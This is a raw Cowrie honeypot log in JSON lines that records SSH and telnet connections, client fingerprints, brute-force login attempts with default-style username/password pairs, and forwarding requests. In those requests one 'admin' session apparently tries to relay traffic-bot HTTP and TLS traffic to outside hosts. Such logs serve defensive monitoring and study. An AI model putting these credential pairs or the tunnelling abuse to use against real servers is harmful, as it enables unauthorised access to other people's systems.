{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:21.003895Z","src_ip":"91.92.40.36","session":"50344e01ca2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":11.826850175857544,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:21.367322Z","src_ip":"94.23.66.112","session":"d183f5d432ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"17.2","message":"Connection lost after 17.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:21.448621Z","src_ip":"91.92.40.36","session":"cefc90c1aeba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"haddock","password":"haddock@123","message":"login attempt [haddock/haddock@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:24.058758Z","src_ip":"91.92.40.36","session":"8841d3e4edc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.52","src_port":61193,"dst_ip":"10.17.0.5","dst_port":22,"session":"95388db340ae","protocol":"ssh","message":"New connection: 23.175.50.52:61193 (10.17.0.5:22) [session: 95388db340ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:25.790848Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:25.795149Z","src_ip":"23.175.50.52","session":"95388db340ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:25.957102Z","src_ip":"23.175.50.52","session":"95388db340ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.9","message":"Connection lost after 14.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:26.199180Z","src_ip":"91.92.40.36","session":"8841d3e4edc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"test12","message":"login attempt [ubuntu/test12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:27.055966Z","src_ip":"91.92.40.36","session":"50344e01ca2a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:27.549740Z","src_ip":"23.175.50.52","session":"95388db340ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":12194,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ab229e912c7","protocol":"ssh","message":"New connection: 91.92.40.36:12194 (159.203.135.109:22) [session: 3ab229e912c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:28.702843Z"}
{"eventid":"cowrie.session.closed","duration":"10.9","message":"Connection lost after 10.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:29.089778Z","src_ip":"91.92.40.36","session":"50344e01ca2a","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:29.520559Z","src_ip":"91.92.40.36","session":"3ab229e912c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:29.524691Z","src_ip":"91.92.40.36","session":"3ab229e912c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":12234,"dst_ip":"159.203.135.109","dst_port":22,"session":"d3678ba341c9","protocol":"ssh","message":"New connection: 91.92.40.36:12234 (159.203.135.109:22) [session: d3678ba341c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:33.938638Z"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":58719,"dst_ip":"10.17.0.5","dst_port":22,"session":"46cd26f6103d","protocol":"ssh","message":"New connection: 123.27.168.40:58719 (10.17.0.5:22) [session: 46cd26f6103d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:34.453215Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:34.457316Z","src_ip":"123.27.168.40","session":"46cd26f6103d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:34.703328Z","src_ip":"123.27.168.40","session":"46cd26f6103d","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:35.624748Z","src_ip":"91.92.40.36","session":"d3678ba341c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:35.628434Z","src_ip":"91.92.40.36","session":"d3678ba341c9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:35.782587Z","src_ip":"123.27.168.40","session":"46cd26f6103d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jairo","password":"jairo","message":"login attempt [jairo/jairo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:36.006840Z","src_ip":"91.92.40.36","session":"3ab229e912c7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:36.144407Z","session":"46cd26f6103d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:36.262054Z","session":"46cd26f6103d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:36.394693Z","src_ip":"123.27.168.40","session":"46cd26f6103d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.2 Mobile/18B92 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1188\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=SklIPjc5OHRtdlpuS1F%2BOQ%3D%3DS6MTCaB4G3qhk9P%2F7opgLsvlGxZFElzz66NSfMtzQOcJWPhGx%2FpQIyNEOIlXvaATR0wpHyjPabD7GxJ%2B2lk1EpJZLyt0kmC%2BVRUHEQ0wYIUGD57xjN8RBJlnoes1oIattBG39pOHcAM2g%2Be4DN4wx2P3%2FHzu3HZZFMyStjZd%2BJvMBXn1w%2FalqVJIlhqKqFC7WP5OWDk6h9hw620699mKser%2FToyeYm%2FLbJw5Jc8UIdiQAAtWEH2TKByB5kqvUWZBA5zdIk%2Fr3M%2Bm3GKf11EfrCThimhmFCIiiD%2FKoMsMDkGvkj7uNe9eNZlQwzGNw8RHhNw%2BHn6inTypxjfcSpG4ULbu2d878aIMiYLVS%2FsGIfd8ygfwI7r6yKMMjnby%2Bmh4Z1LkhW%2Fygf8NFFRCPNTNvfdymPF4tlw2J9ORdFLq4PoPSCsMxxlH5WLY8K7j2BOzV4LoXSsrypf1VFdfkqSLsQMlBWr6D0jQ5yvjH%2FQv8NyhgZQfl8NyrXurVLxP%2F5CGlm6Z%2FI3UzrpdbwyWsGvvdx%2BcOOAksYA5Y0EUtqQ%2F%2BGDwlVPL05qXUuCS0wjnfewzZ5dWR3y2Er1LmTsKbAxU13bJj0S6%2BYqtJcFhEXvzN8GlPTs8GMm3J6XYU367qmI1sSWqlc7pTqBZESLyDYaB4ipwiuak33jJkKh6413XEtE%2Foc3ehmJdzAY2lAAFlTKmW5FjQXVBy4SeNoxaNtJbTzzsDySVbdHFU1uKFOYDqSSQLLPT9kyOrNzvfRV4hHKESNdoVsiHNZfij%2FEphV3TKcHNup1pr8Wb9cYYRFk0dcALuvKVcu7FOXjdkTkQYoS6QTOuQp4MMJbYPIxnq5vPy7KZdxY4zD89CYK8vRX13s2UJh38VisdKsXmlugWucvrzYcNYQTYvwvwCDq%2BPZzu01hV75OXFUnJC8rcK23TwjU79UDnngd3YnCIdFt3oWVaorzk37JpOnVkTogA0c8M%2FFHMdK7sfZpoPRW%2BkPlxpT%2FhM%2Bn8zFk90R5CC55%2BZoAnH43958t%2BIDlG4EEH1oszl9LsGjRZc2ctsiitPAhWKhsobFWFryI2gn7os%2F9k3gfP'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.2 Mobile/18B92 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1188\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=SklIPjc5OHRtdlpuS1F%2BOQ%3D%3DS6MTCaB4G3qhk9P%2F7opgLsvlGxZFElzz66NSfMtzQOcJWPhGx%2FpQIyNEOIlXvaATR0wpHyjPabD7GxJ%2B2lk1EpJZLyt0kmC%2BVRUHEQ0wYIUGD57xjN8RBJlnoes1oIattBG39pOHcAM2g%2Be4DN4wx2P3%2FHzu3HZZFMyStjZd%2BJvMBXn1w%2FalqVJIlhqKqFC7WP5OWDk6h9hw620699mKser%2FToyeYm%2FLbJw5Jc8UIdiQAAtWEH2TKByB5kqvUWZBA5zdIk%2Fr3M%2Bm3GKf11EfrCThimhmFCIiiD%2FKoMsMDkGvkj7uNe9eNZlQwzGNw8RHhNw%2BHn6inTypxjfcSpG4ULbu2d878aIMiYLVS%2FsGIfd8ygfwI7r6yKMMjnby%2Bmh4Z1LkhW%2Fygf8NFFRCPNTNvfdymPF4tlw2J9ORdFLq4PoPSCsMxxlH5WLY8K7j2BOzV4LoXSsrypf1VFdfkqSLsQMlBWr6D0jQ5yvjH%2FQv8NyhgZQfl8NyrXurVLxP%2F5CGlm6Z%2FI3UzrpdbwyWsGvvdx%2BcOOAksYA5Y0EUtqQ%2F%2BGDwlVPL05qXUuCS0wjnfewzZ5dWR3y2Er1LmTsKbAxU13bJj0S6%2BYqtJcFhEXvzN8GlPTs8GMm3J6XYU367qmI1sSWqlc7pTqBZESLyDYaB4ipwiuak33jJkKh6413XEtE%2Foc3ehmJdzAY2lAAFlTKmW5FjQXVBy4SeNoxaNtJbTzzsDySVbdHFU1uKFOYDqSSQLLPT9kyOrNzvfRV4hHKESNdoVsiHNZfij%2FEphV3TKcHNup1pr8Wb9cYYRFk0dcALuvKVcu7FOXjdkTkQYoS6QTOuQp4MMJbYPIxnq5vPy7KZdxY4zD89CYK8vRX13s2UJh38VisdKsXmlugWucvrzYcNYQTYvwvwCDq%2BPZzu01hV75OXFUnJC8rcK23TwjU79UDnngd3YnCIdFt3oWVaorzk37JpOnVkTogA0c8M%2FFHMdK7sfZpoPRW%2BkPlxpT%2FhM%2Bn8zFk90R5CC55%2BZoAnH43958t%2BIDlG4EEH1oszl9LsGjRZc2ctsiitPAhWKhsobFWFryI2gn7os%2F9k3gfP'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:36.398053Z","src_ip":"123.27.168.40","session":"46cd26f6103d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:36.635026Z","src_ip":"123.27.168.40","session":"46cd26f6103d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x90\\x11\\xad\\xeaF\\x89\\xeb\\xe3J\\xd9\\t\\xb0\\xc0\\x92\\xd8\\xe2\\xcfJ\\x84].\\xacO\\x94\\xd1\\x08\\xd0Ix\\xbc\\xedW %\\xa5\\xfa\\x14\\xa7\\x9b\\xbcue\\xdc\\xfd\\xcb\\\\\\x16~\\t)o\\xea\\x1b\\x8a\\xaa\\xe2\\xf6\\x81w\\x14q\\x80\\xa9\\xdel\\x00 \\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 \\x97\\xf9\\xed\\x8d\\xaf\\x95X\\x96\\xe5\\x17\\xea\\xe9{^\\xc9\\xab\\xeb\\x01\\x08C\\xe6\\x05\\xd5\\xa7\\xf5b\\xe3\\xa42:\\xfbV\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x90\\x11\\xad\\xeaF\\x89\\xeb\\xe3J\\xd9\\t\\xb0\\xc0\\x92\\xd8\\xe2\\xcfJ\\x84].\\xacO\\x94\\xd1\\x08\\xd0Ix\\xbc\\xedW %\\xa5\\xfa\\x14\\xa7\\x9b\\xbcue\\xdc\\xfd\\xcb\\\\\\x16~\\t)o\\xea\\x1b\\x8a\\xaa\\xe2\\xf6\\x81w\\x14q\\x80\\xa9\\xdel\\x00 